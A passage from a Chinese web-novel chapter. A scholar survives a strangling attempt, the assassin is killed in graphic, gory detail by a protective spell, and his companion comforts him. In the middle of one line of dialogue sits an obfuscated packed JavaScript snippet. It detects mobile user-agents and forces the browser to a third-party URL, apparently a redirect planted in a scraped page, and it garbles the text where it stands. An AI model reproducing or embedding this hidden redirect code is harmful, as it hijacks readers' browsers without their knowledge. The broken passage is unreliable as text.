不久之后,尼特·萨曼的妻子忽然登报宣布要与丈夫离婚,理由是“丈夫失去了性.能力”。根据“阳.痿审判”法律规定,这也意味着彻底声名狼藉的前任署长除了要站在受审席上接受数十条严厉的指控之外,还需要在十五名陪审团成员的注视下脱掉裤子,当众证明自己的“能力”。 如果说截至目前,尼特·萨曼只是彻底沦为了笑柄——而这场史称“燃烧玫瑰事变”的转折点是有几位尼特·萨曼常年光顾的妓.女勇敢地站了出来,作证足足有两位数的无辜平民女孩被其折磨惨死。 联想起港口曾陆续出现过的年轻少女失踪案,原本只是看贵族老爷笑话的灰桥港人的怒火被彻底点燃,治安总署的大门被人用污物砸得稀烂,来来往往的人路过总会啐上一口,如果不是尼特·萨曼还在监狱里,怕会被愤怒的人群撕成碎片。 当然那时教授早已离开了灰桥港,得知这个消息时他也罕见地陷入了沉默。 “我也没想到会这么顺利。”他严肃地说:“班尼的妻子识字,报纸上有少女失踪的寻人启事,尼特·萨曼阳.痿且有恶癖——我只是编造了一个故事,顺便结合了些许我看见的真相。” 可惜同伴的眼神只是越发微妙——真不愧是最终反派,寥寥数语便达到了杀人不见血的目的。 时间回到现在,诺瓦·布洛迪尚不知道自己花费了三分钟编造的遗书会引发多大浪潮,他这一整天甚至没有踏出珍珠海公馆一步,全程窝在书桌前整理笔记。 神眷者还没回来,不知道干什么去了。诺瓦也没在意,俩人都不是需要人看护的小孩子,他的全部心思都在自己的宝贝羊皮本上,等再次抬起头来,才发现天色已经渐晚了。 黑发青年撑着桌面站了起来,这才觉察到因低血糖导致的眩晕。他皱了下眉,下意识伸手去撑一旁的椅子,而异变就发生在此刻—— 有人忽地从背后死死捂住了他的口鼻,随后是一条麻绳重重勒上了脖颈,猛地扯紧,试图就这样勒断学者脆弱的喉骨。 桌椅翻倒了,受害者正下意识用双手拼命撕扯脖子上的麻绳。但是来自普通人的挣扎对于一名武者来说,实在太微不足道了。行凶者的嘴角已经露出了扭曲而狰狞的笑意,他在公馆外守了整整一天,却始终没见对方出来,本想着让其在某个角落“开枪自尽”的计划落了空,情绪也从紧张变得愤怒——他干脆决定变更计划,潜入房中,将人勒死再伪装成上吊自尽。 至于验尸官那一关?萨曼家族还不至于连这点东西都搞不定。 凶手正打算继续加大力度,聆听来自骨骼断裂的美妙声响——然后,他听见了一种就像是气囊漏气的嗤嗤声,轻柔沉闷,几近无声,落在耳膜里却是如此震耳欲聋。 诺瓦只感到背后一阵突如其来的湿热,就像被一盆水淋了个正着。脖子上巨大的力量突然消失了,他顺势狠狠往后一撞,随即听见了人体倒地的沉闷声响。 黑发青年捂着脖子剧烈咳嗽着,扭头看去,瞳孔瞬间缩成了一个小点——离他只有一步之遥的位置,一个高大的蒙脸黑衣男性正无声躺在一片血泊里。 那人的四肢和脖颈被莫名的力量扭成了怪诞的模样,已经死得很彻底。更可怖的是,对方浑身上下都是被贯穿的血洞,可以说是被撕扯的七邻八落,白的红的黄的内脏流了一地,血迹甚至喷射到了天花板上,诺瓦刚才觉察到的湿热正是从对方身上喷涌而出的血水和碎肉块。 ……这是,什么? 黑发青年下意识想咬自己的指尖,却发现手套的布料已经彻底被血液浸透,温热而黏腻,简直恶心极了。 觉察到守护法术被触动的阿祖卡迅速赶回来时看见的就是这一幕——幽暗的房间里,桌椅狼狈地倒翻一地,血腥味简直浓得呛人鼻子,一具死状极其凄惨的尸体躺在地板的中央。 神眷者的神情顿时冷了下来。浴室的灯还亮着,当他撞开门时,就看到教授几乎浑身被血浸透,两只血红的手套被甩在地上,其本人正冷静地站在镜子前,仔细观察自己脖颈上的淡红勒痕。 “……” 阿祖卡确定自己心脏停跳了一瞬。 等他再次回过神来,自己已经把人扣在身前,仔仔细细地将对方上下摸了一遍,而他的宿敌正皱着眉,抗拒地试图逃离他的掌控范围:“我没事,血全是那家伙的——见鬼,别摸了,控制一下你自己!” “你不是给我施加保护魔法了么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425382|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他头痛地啧了一声,尽量轻描淡写地说:“就是效果有点太夸张了,这样会很难收拾,建议以后调整一下。” ——撒谎,神眷者不喜欢血腥味,除了被扭断的脖颈和四肢,其余那些暴虐狂躁的力量并不属于对方。 阿祖卡不答,也不顾另一人身上的血会不会弄脏自己的衣服,只是将人一把拽进怀里,一点点抱紧。 “没事了,别怕。” 他低声说,小心将黑发青年的脑袋按进自己的肩窝里,并顺势轻轻揉捏着对方的后颈。 “……你这是把我当猫哄?”诺瓦站着不动,面无表情地问。 神眷者不接茬,抓住了对方还在不自知轻微颤抖的、冰凉至极的手,一点点用手指深入、握紧。 他的宿敌安静了下来,站在原地任他抱着。也不知道过了多久,黑发青年紧绷的身体终于慢慢变得松弛。 ……原来同伴的体温真得能令人类镇定下来么? “……我真的没事,”诺瓦有些疲惫地说:“只是第一次亲眼看见这种事,不太习惯,外加有点恶心——别把我想得太脆弱。” 来到这个世界这么多年,各类尸体也见多了,但就在他眼前死去,还死得如此怪诞可怖的确实是第一次见。 “……我不该离开你这么久的。”神眷者有些阴郁地说。 他想起那个最开始的、漫不经心的念头——他的宿敌说不定会在某个角落里莫名其妙地死掉。 ……莫名其妙地死掉。 “命运不会放过我,”他有些神经质地将人抱紧,在他的宿敌耳边低声重复道:“无数灾难和巧合会自然而然地降临在我和我身边的人之上……这样‘剧情’才会变得足够波澜起伏,足够有趣。” “说什么傻话。”诺瓦莫名其妙地看了他一眼,总觉得这人精神状态比他还要差。 “我又没死,顶多擦破了点皮,想想看我们的敌人是谁。”教授毫不客气地训斥道:“阿祖卡,别这样傲慢——这个世界上从来就没有什么救世主,也没有什么可笑的命定之数。” 这还是他第一次正面叫对方的名字。 “……” 另一人不答,只是抱着他不撒手,纤长的睫毛耷拉着,漂亮的脸蛋上沾了黏糊糊的血迹,甚至流露出一点符合躯体年龄的委屈。 只有在教授看不到的地方,那双蓝眼睛里凝聚起狂躁而无声的漩涡。如果不是外面的黑衣人死得不能再死…… “……而且你确实很好地保护了我。” 教授有些别扭地抽出一只手,飞快拍了拍紧张过度的同伴的脑袋:“我认可你的能力,我们之间的交易还在继续。” 对方低低唔了一声,低下头来,用脸颊蹭了蹭他的头发。 浑身上下都是凶手的血水,甚至已经半干了,诺瓦简直觉得自己站在腥臭的屠宰场里,另一人还死死抱着他,体温透过血衣,以一种极为强势的姿态渗了进来。教授终于忍无可忍了。 “所以你要抱到什么时候?放手!”